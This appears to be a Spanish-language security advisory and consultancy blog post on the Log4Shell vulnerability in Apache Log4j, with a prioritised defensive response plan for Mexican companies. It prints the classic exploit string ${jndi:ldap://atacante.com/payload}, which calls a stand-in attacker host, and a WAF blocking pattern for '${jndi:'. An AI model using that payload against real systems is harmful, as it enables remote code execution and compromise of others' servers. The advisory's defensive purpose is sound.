Log4Shell (CVE-2021-44228): la vulnerabilidad más grave de la década y cómo defenderte hoy

En las últimas 48 horas, equipos de seguridad alrededor del mundo han estado en modo respuesta a incidentes activa. La razón es CVE-2021-44228, conocida como Log4Shell, una vulnerabilidad en Apache Log4j, la biblioteca de logging más usada del ecosistema Java. La calificación oficial es CVSS 10.0, la máxima posible. La vulnerabilidad permite ejecución remota de código (RCE) mediante el simple envío de una cadena específicamente formada que el sistema vulnerable termine registrando en el log.

Para entender la magnitud: Log4j está presente, directa o indirectamente, en una proporción enorme del software empresarial Java en producción. Cualquier aplicación que registre datos provenientes de un input de usuario (un nombre de usuario, un User-Agent del navegador, un parámetro HTTP, un campo en una API) y que use Log4j en versión vulnerable, es atacable. La cadena de explotación es trivial. Está siendo explotada activamente desde antes de que se publicara.

En la conversación de seguridad de la última década, esto entra en el mismo nivel de gravedad que Heartbleed, que Shellshock o que ProxyLogon (Hafnium) de marzo de este año. Posiblemente más grave por la ubicuidad de Log4j.

Esta nota es operacional. Si su empresa tiene aplicaciones Java en producción, lo que sigue es lo que conviene estar haciendo esta misma semana.

Anatomía rápida del problema

Log4j tiene una funcionalidad llamada JNDI lookup que permite que un mensaje de log resuelva variables dinámicamente, incluso desde servicios externos vía LDAP, RMI o DNS. La cadena de explotación clásica es:

${jndi:ldap://atacante.com/payload}

Cuando una aplicación vulnerable registra esa cadena (porque viene como parte de un campo de entrada), Log4j hace una petición LDAP al servidor del atacante, que responde con código Java arbitrario que la aplicación ejecuta con los privilegios del proceso. Sin autenticación, sin interacción del usuario, sin nada complicado.

Las versiones afectadas son Log4j 2.0 a 2.14.1. La 2.15.0 incluye una mitigación parcial; la 2.16.0 (publicada hoy mismo) deshabilita JNDI por completo y es la versión a la que conviene moverse. Las versiones 1.x de Log4j no tienen esta vulnerabilidad pero llevan años sin soporte y tienen otros problemas conocidos.

Por qué esto es especialmente grave en México

Tres razones:

1. Inventario de software incompleto. La mayoría de empresas mexicanas medianas no tienen un inventario actualizado de qué bibliotecas (y qué versiones) corren dentro de sus aplicaciones, sobre todo cuando son dependencias transitivas (Log4j embebido en otra biblioteca embebida en otra).
2. Software empaquetado de terceros. Muchas aplicaciones críticas (ERPs, sistemas bancarios, software de manufactura) son de proveedores que aún están evaluando si están afectados. Mientras tanto, las empresas usuarias dependen de comunicaciones lentas.
3. Visibilidad de tráfico saliente limitada. La explotación requiere que el servidor vulnerable haga una petición LDAP al servidor del atacante. Empresas con monitoreo de tráfico saliente débil no se enteran del intento de explotación hasta que el daño ya está hecho.

Plan de respuesta de las próximas 72 horas

Lo que conviene estar ejecutando esta misma semana, en orden de prioridad.

Primero, inventario rápido. Identificar qué aplicaciones Java corren en producción y, para cada una, qué versión de Log4j contienen. Herramientas útiles: find / -name "log4j-core*.jar", escáneres específicos (CISA y varios proveedores publicaron herramientas gratuitas en las últimas 24 horas), y revisión de SBOMs si existen.

Segundo, parchear donde se pueda. Actualizar a Log4j 2.16.0 en aplicaciones propias. Para sistemas de terceros, contactar al proveedor inmediatamente y exigir comunicación formal sobre estado y plan de remediación.

Tercero, mitigaciones temporales donde no se pueda parchear de inmediato. Las dos más útiles:

• Establecer la propiedad log4j2.formatMsgNoLookups=true en la JVM, o eliminar la clase JndiLookup del classpath. No es perfecto en todas las versiones, pero ayuda.
• Reglas en WAF (Cloudflare, AWS WAF, Akamai y otros ya publicaron firmas) para bloquear cadenas que contengan ${jndi: en headers, parámetros o cuerpo de peticiones HTTP. Útil pero evadible con codificación, así que no es suficiente por sí solo.

Cuarto, restricción de salida. Si los servidores Java de aplicación no necesitan hacer peticiones LDAP/RMI a internet (la mayoría no), bloquear ese tráfico saliente a nivel de firewall. Esto rompe la cadena de explotación incluso si el código vulnerable recibe la cadena.

Quinto, monitoreo de explotación. Revisar logs de aplicaciones, WAF y firewalls buscando patrones conocidos de explotación. Buscar peticiones DNS o LDAP salientes anómalas. Cualquier indicador de compromiso requiere respuesta a incidentes formal: la explotación a menudo deja un cripto-minero o un backdoor persistente.

Sexto, asumir que ya ocurrió y verificar. Para aplicaciones expuestas a internet con Log4j vulnerable, la pregunta razonable no es "¿nos van a atacar?" sino "¿ya nos atacaron?". Revisar credenciales que pudieron exponerse, considerar rotación, revisar movimientos laterales internos.

Lo que esto deja como aprendizaje estructural

Más allá de la respuesta inmediata, hay tres conversaciones de fondo que esta vulnerabilidad obliga a tener en serio:

SBOM (Software Bill of Materials) operacional. No basta con que el equipo de desarrollo "sepa" qué bibliotecas usa. Hace falta inventario automatizado, actualizado en cada build, accesible al equipo de seguridad cuando aparece la siguiente CVE. Es exactamente la pregunta de hoy: "¿en qué aplicaciones tenemos Log4j?". La empresa que no puede responder en una hora tiene un problema estructural.

Dependabot, secret scanning y similares. GitHub anunció en GitHub Universe el mes pasado mejoras importantes en estas funciones. Las empresas con repos en GitHub deberían tenerlas activadas como mínimo de higiene. Para repos en GitLab o autoalojados, hay equivalentes.

Restricción de salida por defecto. El principio de "menor privilegio" aplicado a tráfico de red. Los servidores de aplicación no necesitan hablar con internet excepto a destinos explícitamente listados. Implementar esto no es trivial pero hubiera neutralizado Log4Shell para muchas organizaciones.

Para cerrar

Log4Shell no es una vulnerabilidad más. Es del tipo que separa a las organizaciones que hicieron tarea de fondo de las que no. La respuesta esta semana es necesaria; la conversación estructural sobre SBOM, parcheo automatizado y arquitectura de red es la que evita estar otra vez en modo de emergencia con la siguiente CVE crítica, que llegará.

No queremos sonar alarmistas. Queremos ser claros: esto requiere atención inmediata de dirección, no solo del equipo de seguridad. Si su organización aún no ha hecho un inventario, la próxima hora es buen momento.

---

¿Tu inventario de Java está al día? Hagamos triage emergencia. En ALCA estamos acompañando a equipos en México con respuesta a Log4Shell esta semana: inventario, parcheo, mitigaciones y revisión de exposición. Agenda una conversación.